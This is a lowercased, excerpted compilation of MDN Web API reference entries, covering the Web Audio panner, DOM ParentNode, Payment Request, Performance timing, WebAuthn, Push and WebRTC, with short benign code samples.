example this example demonstrates how different values of refdistance affect how the volume of a sound decays as it moves away from the listener.
... unlike rollofffactor, changing this value also delays the volume decay until the sound moves past the reference point.
... const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 6; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given refdistance // and schedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletesttone = (refdistance, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect...
...(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the previous one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'refdistance' in that specification.
ParentNode.childElementCount - Web APIs
in this case, childelementcount moved to parentnode.
... this is a fairly technical change that shouldn't affect compatibility.
...totype && constructor.prototype.childelementcount == null) { object.defineproperty(constructor.prototype, 'childelementcount', { get: function() { var i = 0, count = 0, node, nodes = this.childnodes; while (node = nodes[i++]) { if (node.nodetype === 1) count++; } return count; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.childelementcount' in that specification.
... element traversal specificationthe definition of 'elementtraversal.childelementcount' in that specification.
ParentNode.firstElementChild - Web APIs
in this case, firstelementchild moved to parentnode.
... this is a fairly technical change that shouldn't affect compatibility.
...ctor.prototype, 'firstelementchild', { get: function() { var node, nodes = this.childnodes, i = 0; while (node = nodes[i++]) { if (node.nodetype === 1) { return node; } } return null; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.firstelementchild' in that specification.
... element traversal specificationthe definition of 'elementtraversal.firstelementchild' in that specification.
ParentNode - Web APIs
the parentnode mixin contains methods and properties that are common to all types of node objects that can have children.
... see locating dom elements using selectors to learn how to use css selectors to find nodes or elements of interest.
... specification specification status comment domthe definition of 'parentnode' in that specification.
... element traversal specificationthe definition of 'elementtraversal' in that specification.
PaymentAddress.toJSON() - Web APIs
specifications specification status comment web idlthe definition of 'tojson()' in that specification.
... candidate recommendation initial definition.
...requires the comma-delineated list in dom.payments.request.supportedregions to contain one or more of the supported 2-character iso locales, currently us and ca.disabled from version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...requires the comma-delineated list in dom.payments.request.supportedregions to contain one or more of the supported 2-character iso locales, currently us and ca.disabled from version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent interface of the payment request api describes the paymentmethodchange event which is fired by some payment handlers when the user switches payment instruments (e.g., a user selects a "store" card to make a purchase while using apple pay).
...this identifier is usually a url used during the payment process, but may be a standardized non-url string as well, such as basic-card.
... specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onshippingoptionchange - Web APIs
to make sure an updated option is included when sending payment information to the server, you should add event listeners for a paymentrequest object after instantiation, but before the call to show().
...amount.value = '0.00'; details.total.amount.value = '55.00'; // shipping to jp is supported } else if (addr.country === 'jp') { shippingoption.id = 'jp'; shippingoption.label = 'international shipping'; shippingoption.amount.value = '10.00'; details.total.amount.value = '65.00'; // shipping to elsewhere is unsupported } else { // empty array indicates rejection of the address details.shippingoptions = []; return promise.resolve(details); console.log(details.error); } // hardcode for simplicity if (details.displayitems.length === 2) { details.displayitems[2] = shippingoption; } else { details.displayitems.push(shippingoption); } details.shippingoptions = [shippingoption]; return prom...
...ise.resolve(details); })(details, request.shippingaddress)); }); specifications specification status comment payment request apithe definition of 'onshippingoptionchange' in that specification.
... candidate recommendation initial definition.
PaymentResponse.shippingAddress - Web APIs
you can trigger this by setting paymentoptions.requestshipping to true when calling the paymentrequest constructor.
...when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost.
...}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; ...
...nt.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.shippingOption - Web APIs
syntax var shippingoption = paymentrequest.shippingoption; example in the example below, the paymentrequest.onshippingaoptionchange event is called.
... it calls updatedetails() to toggle the shipping method between "standard" and "express".
...}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingoption, resolve, reject) { var selectedshippingoption; var othershippingoption; if (shippingoption === 'standard') { selectedshippingoption = details.shippingoptions[0]; othershippingoption = details.shippingoptions[1]; details.total.amount.value = '55.0...
...option = details.shippingoptions[1]; othershippingoption = details.shippingoptions[0]; details.total.amount.value = '67.00'; } else { reject('unknown shipping option \'' + shippingoption + '\''); return; } selectedshippingoption.selected = true; othershippingoption.selected = false; details.displayitems.splice(2, 1, selectedshippingoption); resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
PaymentValidationErrors - Web APIs
error can be provided all by itself to provide only a generic error message, or in concert with the other properties to serve as an overview while other properties' values gude the user to errors in specific fields in the payment form.
...for example, if the user chose to pay by credit card using the basic-card payment method, this is a basiccarderrors object.
... example specifications specification status comment payment request api candidate recommendation initial definition.
... basic card payment working draft defines basiccarderrors ...
performance.getEntries() - Web APIs
the list's members (entries) can be created by making performance marks or measures (for example by calling the mark() method) at explicit points in time.
...the items will be in chronological order based on the entries' starttime.
...i].starttime + "; duration = " + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (let i=0; i < p.length; i++) { console.log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentries()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentries()' in that specification.
performance.getEntriesByName() - Web APIs
the list's members (entries) can be created by making performance marks or measures (for example by calling the mark() method) at explicit points in time.
...the items will be in chronological order based on the entries' starttime.
...= " + p[i].starttime + "; duration = " + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentriesbyname()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentriesbyname()' in that specification.
performance.getEntriesByType() - Web APIs
the list's members (entries) can be created by making performance marks or measures (for example by calling the mark() method) at explicit points in time.
...the items will be in chronological order based on the entries' starttime.
...= " + p[i].starttime + "; duration = " + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentriesbytype()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentriesbytype()' in that specification.
performance.measure() - Web APIs
the measure can be retrieved by one of the performance interfaces: (getentries(), getentriesbyname() or getentriesbytype()).
... duration - set to a domhighrestimestamp that is the duration of the measure (typically, the end mark timestamp minus the start mark timestamp).
... performance.clearmarks(); performance.clearmeasures(); }, 1000); }, 1000); specifications specification status comment user timing level 2the definition of 'measure()' in that specification.
... user timingthe definition of 'measure()' in that specification.
PerformanceEntry.entryType - Web APIs
mark performancemark domstring the name used when the mark was created by calling performance.mark().
... measure performancemeasure domstring name used when the measure was created by calling performance.measure().
...rn; } // create a performance entry named "begin" via the mark() method performance.mark("begin"); // check the entrytype of all the "begin" entries var entriesnamedbegin = performance.getentriesbyname("begin"); for (var i=0; i < entriesnamedbegin.length; i++) { var typeofentry = entriesnamedbegin[i].entrytype; console.log("entry is type: " + typeofentry); } } specifications specification status comment performance timeline level 2the definition of 'entrytype' in that specification.
... candidate recommendation performance timelinethe definition of 'entrytype' in that specification.
PerformanceEntry.name - Web APIs
domstring performancemark mark the name used when the mark was created by calling performance.mark().
... domstring performancemeasure measure name used when the measure was created by calling performance.measure().
...); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'name' in that specification.
... candidate recommendation performance timelinethe definition of 'name' in that specification.
PerformanceEntry.startTime - Web APIs
"mark" - returns the timestamp when the mark was created by a call to performance.mark().
... "measure" - returns the timestamp when the measure was created by a call to performance.measure().
...); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'starttime' in that specification.
... candidate recommendation performance timelinethe definition of 'starttime' in that specification.
PerformanceObserver.observe() - Web APIs
when a matching performance entry is recorded, the performance observer's callback function—set when creating the performanceobserver—is invoked.
... buffered: a boolean flag to indicate whether buffered entries should be queued into the observer's buffer.
...nceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'observe()' in that specification.
... candidate recommendation initial definition of observe() method.
PerformancePaintTiming - Web APIs
the performancepainttiming interface of the paint timing provides timing information about "paint" (also called "render") operations during web page construction.
... an application can register a performanceobserver for "paint" performance entry types and the observer can retrieve the times that paint events occur.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4d...
... specifications specification status comment paint timingthe definition of 'performancepainttiming' in that specification.
PerformanceResourceTiming.decodedBodySize - Web APIs
the decodedbodysize read-only property returns the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings.
... if the resource is retrieved from an application cache or local resources, it returns the size of the payload after removing any applied content-codings.
... syntax resource.decodedbodysize; return value the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings.
... = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'decodedbodysize' in that specification.
PerformanceResourceTiming.encodedBodySize - Web APIs
the encodedbodysize read-only property represents the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... if the resource is retrieved from an application cache or a local resource, it must return the size of the payload body before removing any applied content-codings.
... syntax resource.encodedbodysize; return value a number representing the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'encodedbodysize' in that specification.
Using the Performance API - Web APIs
however, if the browser is unable to provide a time value accurate to 5 microseconds (because of hardware or software constraints, for example), the browser can represent the value as a time in milliseconds accurate to a millisecond.
...by calling this method before and after a task, the time it takes to do the task can be measured.
... function calculate_time() { var starttime; var endtime; starttime = performance.now(); do_task(); endtime = performance.now(); return (endtime - starttime); } serializing the performance object json serialization of the performance object is done via the tojson() method.
...nnerhtml = "<p>performance = " + s + "</p>"; // print the performance.timing and performance.navigation objects var perf = json.parse(s); var timing = perf.timing; o.innerhtml += "<p>peformance.timing = " + json.stringify(timing) + "</p>"; var navigation = perf.navigation; o.innerhtml += "<p>peformance.navigation = " + json.stringify(navigation) + "</p>"; } } specifications the interfaces described in this document are defined in the high resolution time standard which has two levels: high-resolution time level 2; editors draft; work in progress high-resolution time; w3c recommendation 17 december 2012 interoperability as shown in the performance interface's browser compatibility table, most of the performance interfaces are broadly implemented by deskt...
PointerEvent.tiltX - Web APIs
this property is typically only useful for a pen/stylus pointer type.
... for an illustration of this property see figure 2 in the specification.
... someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tiltx' in that specification.
... pointer eventsthe definition of 'tiltx' in that specification.
PointerEvent.tiltY - Web APIs
this property is typically only useful for a pen/stylus pointer type.
... for an illustration of this property, see figure 3 in the specification.
... someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tilty' in that specification.
... pointer eventsthe definition of 'tilty' in that specification.
PointerEvent.width - Web APIs
if the input hardware cannot report the contact geometry to the browser, the width defaults to 1.
... example this example illustrates using the pointerevent interface's width and height properties to calculate the contact area.
... target.addeventlistener("pointerdown", function(ev) { // calculate the contact area var area = ev.width * ev.height; }, false); specifications specification status comment pointer events – level 2the definition of 'width' in that specification.
... pointer eventsthe definition of 'width' in that specification.
PositionOptions.enableHighAccuracy - Web APIs
the positionoptions.enablehighaccuracy property is a boolean that indicates the application would like to receive the best possible results.
...note that this can result in slower response times or increased power consumption (with a gps chip on a mobile device for example).
... on the other hand, if false (the default value), the device can take the liberty to save resources by responding more quickly and/or using less power.
... syntax positionoptions.enablehighaccuracy = booleanvalue specifications specification status comment geolocation apithe definition of 'positionoptions.enablehighaccuracy' in that specification.
PositionOptions.maximumAge - Web APIs
the positionoptions.maximumage property is a positive long value indicating the maximum age in milliseconds of a possible cached position that is acceptable to return.
... if set to 0, it means that the device cannot use a cached position and must attempt to retrieve the real current position.
... if set to infinity the device must return a cached position regardless of its age.
... syntax positionoptions.maximumage = timelength specifications specification status comment geolocation apithe definition of 'positionoptions.maximumage' in that specification.
ProgressEvent() - Web APIs
it is case-sensitive.
... lengthcomputable optional is a boolean flag indicating if the total work to be done, and the amount of work already done, by the underlying process is calculable.
...the ratio of work done can be calculated with the property and progressevent.total.
... specifications specification status comment xmlhttprequestthe definition of 'progressevent()' in that specification.
PromiseRejectionEvent() - Web APIs
a rejectionhandled event is emitted if a promise is rejected but the rejection is caught by a rejection handler..
...this is case-sensitive and should be one of "rejectionhandled" or "unhandledrejection", to match the event names of the possible (non-synthetic) promiserejectionevent events that user agents can actually fire).
...this can be anything from a numeric error code to an error domstring to an object which contains detailed information describing the situation resulting in the promise being rejected.
... let myrejectionevent = new promiserejectionevent("unhandledrejection", { promise : mypromise, reason : "my house is on fire" }); specifications specification status comment html living standardthe definition of 'the promiserejectionevent interface' in that specification.
PromiseRejectionEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace...
... promiserejectionevent.reason read only a value or object indicating why the promise was rejected, as passed to promise.reject().
... examples this simple example catches unhandled promise rejections and logs them for debugging purposes.
... window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'promiserejectionevent' in that specification.
PublicKeyCredentialCreationOptions.challenge - Web APIs
this value (among other client data) will be signed by the authenticator, using its private key, and must be sent back for verification to the server as part of authenticatorattestationresponse.attestationobject.
... note: when the credential is retrieved with a navigator.credentials.get() call, the signature of the challenge is contained in authenticatorassertionresponse.signature.
...contains a cryptographic challenge emitted from the relying party's server which must be signed by the authenticator's private key and sent back (within the response) to the relying party's server for verification.
... to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
transports optional an array of strings describing the possible transports between the client and the authenticator.
... the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... if the authenticator already contains one of such a public key credential, the client will throw a domexception or asks the user if they want to create a new credential.
...8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'excludecredentials' in that specification.
PublicKeyCredentialCreationOptions.user - Web APIs
icon optional an url as a usvstring value which points to an image resource which can be the avatar image for the user.
...this an opaque identifier which can be used by the authenticator to link the user account with its corresponding credentials.
... this value will later be used when fetching the credentials in authenticatorassertionresponse.userhandle.
...xample.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'user' in that specification.
PublicKeyCredentialRequestOptions.challenge - Web APIs
this value (among other client data) will be signed by the authenticator's private key and produce authenticatorassertionresponse.signature which should be sent back to the server as part of the response.
... note: when the credential is created with a navigator.credentials.create() call, the signature of the challenge is contained within authenticatorattestationresponse.attestationobject.
...contains a cryptographic challenge emitted from the relying party's server which must be signed by the authenticator's private key and sent back (within the response) to the relying party's server for verification.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
PublicKeyCredentialRequestOptions.rpId - Web APIs
the rpid property, of the publickeycredentialrequestoptions dictionary, is an optional property which indicates the relying party's identifier as a usvstring.
... its value can only be a suffix of the current origin's domain.
...its value can only be a suffix of the current origin's domain.
... = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com" // will only work if the current domain // is something like foo.example.com }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rpid' in that specification.
PushManager.register() - Web APIs
the register method is used to ask the system to request a new endpoint for notifications.
... syntax var request = navigator.push.register(); return a domrequest object to handle the success or failure of the method call.
... if the method call is successful, the request's result will be a string, which is the endpoint url.
... example var req = navigator.push.register(); req.onsuccess = function(e) { var endpoint = req.result; debug("new endpoint: " + endpoint ); } req.onerror = function(e) { debug("error getting a new endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface.
PushSubscription.getKey() - Web APIs
the getkey() method of the pushsubscription interface returns an arraybuffer representing a client public key, which can then be sent to a server and used in encrypting push message data.
... the value can be: p256dh: an elliptic curve diffie–hellman public key on the p-256 curve (that is, the nist secp256r1 elliptic curve).
... auth: an authentication secret, as described in message encryption for web push.
... specifications specification status comment push api working draft this is the push api spec, but note that getkey() is not currently specified in here.
PushSubscription.options - Web APIs
syntax var options = pushsubscription.options value an read-only options object containing the following values: uservisibleonly: a boolean, indicating that the returned push subscription will only be used for messages whose effect is made visible to the user.
... applicationserverkey: a public key your push server will use to send messages to client apps via a push server.
... this value is part of a signing key pair generated by your application server, and usable with elliptic curve digital signature (ecdsa), over the p-256 curve.
... specifications specification status comment push apithe definition of 'options' in that specification.
RTCDataChannel: bufferedamountlow event - Web APIs
bubbles no cancelable no interface event event handler property onbufferedamountlow examples this example sets up a handler for bufferedamountlow to request more data any time the data channel's buffer falls below the number of bytes specified by bufferedamountlowthreshold, which we have set to 65536.
... let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("sendfile"); let source = /* source data object */ dc.bufferedamountlowthreshold = 65536; pc.addeventlistener("bufferedamountlow", ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } }, false); after creating the rtcpeerconnection, this calls rtcpeerconnection.createdatachannel() to create the data channel.
... you can also set up a listener for bufferedamountlow using its event handler property, onbufferedamountlow: pc.onbufferedamountlow = ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'bufferedamountlow' in that specification.
... candidate recommendation ...
RTCDataChannel.maxPacketLifeTime - Web APIs
this limits how long the browser can continue to attempt to transmit and retransmit the message before giving up.
...if not set when rtcpeerconnection.createdatachannel() was called to create the data channel, this value is null.
... example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxpacketlifetime' in that specification.
... candidate recommendation initial specification.
RTCDataChannel: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage note: the message event uses as its event object type the messageevent interface defined by the html specification.
... you can also use an rtcdatachannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); } specifications specification status comment webrtc 1.0: real-tim...
...e communication between browsersthe definition of 'the <code>message</code> event' in that specification.
... candidate recommendation ...
RTCDataChannel.negotiated - Web APIs
the read-only rtcdatachannel property negotiated indicates whether the rtcdatachannel's connection was negotiated by the web app (true) or by the webrtc layer (false).
... example the code snippet below checks the value of negotiated; if it's true, a function called shutdownremotechannel() is called with the channel's id; presumably this would be implemented to transmit a shutdown signal to the remote peer prior to terminating the connection.
... if (datachannel.negotiated) { shutdownremotechannel(datachannel.id); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.negotiated' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onerror - Web APIs
the rtcdatachannel.onerror property is an eventhandler which specifies a function to be called when the error event is received.
... syntax rtcdatachannel.onerror = function; value a function which the browser will call to handle the error event when it occurs on the data channel.
...*/ specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onerror' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onmessage - Web APIs
the rtcdatachannel.onmessage property stores an eventhandler which specifies a function to be called when the message event is fired on the channel.
... syntax rtcdatachannel.onmessage = function; value a function which the browser will call to handle the message event.
... let pc = new rtcpeerconnection(); let dc = pc.createdatachannel(); dc.onmessage = function(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onmessage' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onopen - Web APIs
the rtcdatachannel.onopen property is an eventhandler which specifies a function to be called when the open event is fired; this is a simple event which is sent when the data channel's underlying data transport—the link over which the rtcdatachannel's messages flow—is established or re-established.
... syntax rtcdatachannel.onopen = function; value a function which the browser will call to handle the open event.
... let dc = mypeerconnection.createdatachannel("message channel"); dc.onopen = function(event) { let messagebox = document.getelementbyid("messagebox"); let sendbutton = document.getelementbyid("sendbutton"); messagebox.disabled = false; messagebox.focus(); sendbutton.disabled = false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onopen' in that specification.
... candidate recommendation initial specification.
RTCErrorEvent - Web APIs
properties in addition to the standard properties available on the event interface, rtcerrorevent also includes the following: error read only an rtcerror object specifying the error which occurred; this object includes the type of error that occurred, information about where the error occurred (such as which line number in the sdp or what sctp cause code was at issue).
...the most common of these is probably rtcpeerconnectioniceerrorevent, used by the icecandidateerror event, which signals an error that has occurred while gathering ice candidates during connection negotiation.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerrorevent' in that specification.
... candidate recommendation initial definition.
RTCIceParameters - Web APIs
during ice negotiation, each peer's username fragment and password are recorded in an rtciceparameters object, which can be obtained from the rtcicetransport by calling its getlocalparameters() or getremoteparameters() method, depending on which end interests you.
...see rtcicecandidate.usernamefragment for further information.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters' in that specification.
... candidate recommendation initial specification.
RTCIceRole - Web APIs
the rtcicerole enumerated type lists the string values that identify whether a connection's ice agent is serving as the controlling agent or the controlled agent, as indicated by rtcicetransport.role.
... you can learn more about ice roles in choosing a candidate pair in webrtc connectivity.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicerole' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.getRemoteParameters() - Web APIs
the remote peer's parameters are received during ice signaling and delivered to the transport when the client calls rtcpeerconnection.setremotedescription().
... return value an rtciceparameters object indicating the usernamefragment and password which uniquely identify the remote peer for the duration of the ice session.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getremoteparameters' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.onstatechange - Web APIs
syntax rtcicetransport.onstatechange = statechangehandler; value set this property to reference a function you provide that is called by the webrtc layer when the rtcicetransport object's state changes.
... example this snippet establishes a handler for the statechange event that looks to see if the transport has entered the "failed" state, which indicates that the connection has failed with no chance of being automatically restored.
... var icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = function(event) { if (icetransport.state == "failed") { handlefailure(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onstatechange' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.role - Web APIs
the read-only rtcicetransport property role indicates which ice role the transport is fulfilling: that of the controlling agent, or the agent that is being controlled.
... you can learn more about ice roles in choosing a candidate pair in webrtc connectivity.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.role' in that specification.
... candidate recommendation initial definition.
RTCIceTransport: statechange event - Web APIs
the state can be used to determine how far through the process of examining, verifying, and selecting a valid candidate pair is prior to successfully connecting the two peers for webrtc communications.
... bubbles no cancelable no interface event event handler property rtcicetransport.onstatechange examples given an rtcpeerconnection, pc, the following code creates an event handler that calls a function named handlefailure() if the ice transport enters a failure state.
... icetransport.addeventlistener("statechange", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'statechange' in that specification.
... candidate recommendation ...
RTCIdentityAssertion - Web APIs
once set it can't be changed.
... properties rtcidentityassertion.idp indicates the provider of the identity assertion.
... rtcidentityassertion.name indicates the name of the identity assertion provider.
... specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation initial definition.
RTCInboundRtpStreamStats.framesDecoded - Web APIs
the framesdecoded property of the rtcinboundrtpstreamstats dictionary indicates the total number of frames which have been decoded successfully for this media source.
... syntax var framesdecoded = rtcinboundrtpstreamstats.framesdecoded; value an integer value indicating the total number of video frames which have been decoded for this stream so far.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.framesdecoded' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.packetsFailedDecryption - Web APIs
the packetsfaileddecryption property of the rtcinboundrtpstreamstats dictionary indicates the total number of rtp packets which failed to be decrypted successfully after being received by the local end of the connection during this session.
... syntax var packetsfaileddecryption = rtcinboundrtpstreamstats.packetsfaileddecryption; value an integer value which indicates how many packets the local end of the rtp connection could not be successfully decrypted.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.packetsfaileddecryption' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.receiverId - Web APIs
the receiverid property of the rtcinboundrtpstreamstats dictionary specifies the id of the rtcaudioreceiverstats or rtcvideoreceiverstats object representing the rtcrtpreceiver receiving the stream.
